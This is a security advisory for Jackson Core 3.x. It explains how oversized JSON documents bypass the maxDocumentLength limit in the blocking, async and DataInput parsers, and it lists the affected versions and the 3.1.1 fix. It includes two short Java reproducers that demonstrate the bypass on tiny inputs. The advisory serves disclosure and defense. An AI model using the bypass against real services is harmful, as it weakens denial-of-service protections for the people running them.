GHSA-2m67-wjpj-xhg9 json
Jackson Core: Document length constraint bypass in blocking, async, and DataInput parsers
published 7mo ago modified 2mo ago
- cvss
- 7.5
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
## Summary
Jackson Core 3.x does not consistently enforce `StreamReadConstraints.maxDocumentLength`. Oversized JSON documents can be accepted without a `StreamConstraintsException` in multiple parser entry points, which allows configured size limits to be bypassed and weakens denial-of-service protections.
## Details
Three code paths where `maxDocumentLength` is not fully enforced:
### 1. Blocking parsers skip validation of the final in-memory buffer
Blocking parsers validate only previously processed buffers, not the final in-memory buffer:
- `ReaderBasedJsonParser.java:255` - `UTF8StreamJsonParser.java:208`
Relevant code:
```java _currInputProcessed += bufSize; _streamReadConstraints.validateDocumentLength(_currInputProcessed); ```
This means the check occurs only when a completed buffer is rolled over. If an oversized document is fully contained in the final buffer, parsing can complete without any document-length exception.
### 2. Async parsers skip validation of the final chunk on end-of-input
Async parsers validate previously processed chunks, but do not validate the final chunk on end-of-input:
- `NonBlockingByteArrayJsonParser.java:49` - `NonBlockingByteBufferJsonParser.java:57` - `NonBlockingUtf8JsonParserBase.java:75`
Relevant code:
```java _currInputProcessed += _origBufferLen; _streamReadConstraints.validateDocumentLength(_currInputProcessed);
public void endOfInput() { _endOfInput = true; } ```
`endOfInput()` marks EOF but does not perform a final `validateDocumentLength(...)` call, so an oversized last chunk is accepted.
### 3. DataInput parser path does not enforce `maxDocumentLength` at all
- `JsonFactory.java:457`
Relevant construction path:
```java int firstByte = ByteSourceJsonBootstrapper.skipUTF8BOM(input); return new UTF8DataInputJsonParser(readCtxt, ioCtxt, readCtxt.getStreamReadFeatures(_streamReadFeatures), readCtxt.getFormatReadFeatures(_formatReadFeatures), input, can, firstByte); ```
`UTF8DataInputJsonParser` does not call `StreamReadConstraints.validateDocumentLength(...)`, so `maxDocumentLength` is effectively disabled for `createParser(..., DataInput)` users.
> **Note:** This issue appears distinct from the recently published nesting-depth and number-length constraint advisories because it affects document-length enforcement.
## PoC
### Async path reproducer
```java import java.nio.charset.StandardCharsets; import tools.jackson.core.JsonParser; import tools.jackson.core.ObjectReadContext; import tools.jackson.core.StreamReadConstraints; import tools.jackson.core.async.ByteArrayFeeder; import tools.jackson.core.json.JsonFactory;
public class Poc { public static void main(String[] args) throws Exception { JsonFactory factory = JsonFactory.builder() .streamReadConstraints(StreamReadConstraints.builder() .maxDocumentLength(10L) .build()) .build();
byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);
try (JsonParser p = factory.createNonBlockingByteArrayParser(ObjectReadContext.empty())) { ByteArrayFeeder feeder = (ByteArrayFeeder) p.nonBlockingInputFeeder(); feeder.feedInput(doc, 0, doc.length); feeder.endOfInput();
while (p.nextToken() != null) { } }
System.out.println("Parsed successfully"); } } ```
- **Expected result:** Parsing should fail because the configured document-length limit is 10, while the input is longer than 10 bytes. - **Actual result:** The document is accepted and parsing completes.
### Blocking path reproducer
```java import java.io.ByteArrayInputStream; import java.nio.charset.StandardCharsets; import tools.jackson.core.JsonParser; import tools.jackson.core.StreamReadConstraints; import tools.jackson.core.json.JsonFactory;
public class Poc2 { public static void main(String[] args) throws Exception { JsonFactory factory = JsonFactory.builder() .streamReadConstraints(StreamReadConstraints.builder() .maxDocumentLength(10L) .build()) .build();
byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);
try (JsonParser p = factory.createParser(new ByteArrayInputStream(doc))) { while (p.nextToken() != null) { } }
System.out.println("Parsed successfully"); } } ```
## Impact
Applications that rely on `maxDocumentLength` as a safety control for untrusted JSON can accept oversized inputs without error. In network-facing services this weakens an explicit denial-of-service protection and can increase CPU and memory consumption by allowing larger-than-configured request bodies to be processed.
Patch / fix
Is GHSA-2m67-wjpj-xhg9 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerCVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| maven | tools.jackson.core:jackson-core | >=3.0.0, <3.1.1 |
3.1.1 |
Classification
- Weakness
-
- CWE-770 Allocation of Resources Without Limits or Throttling
References
Sources
- GitHub Advisory GHSA-2m67-wjpj-xhg9
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.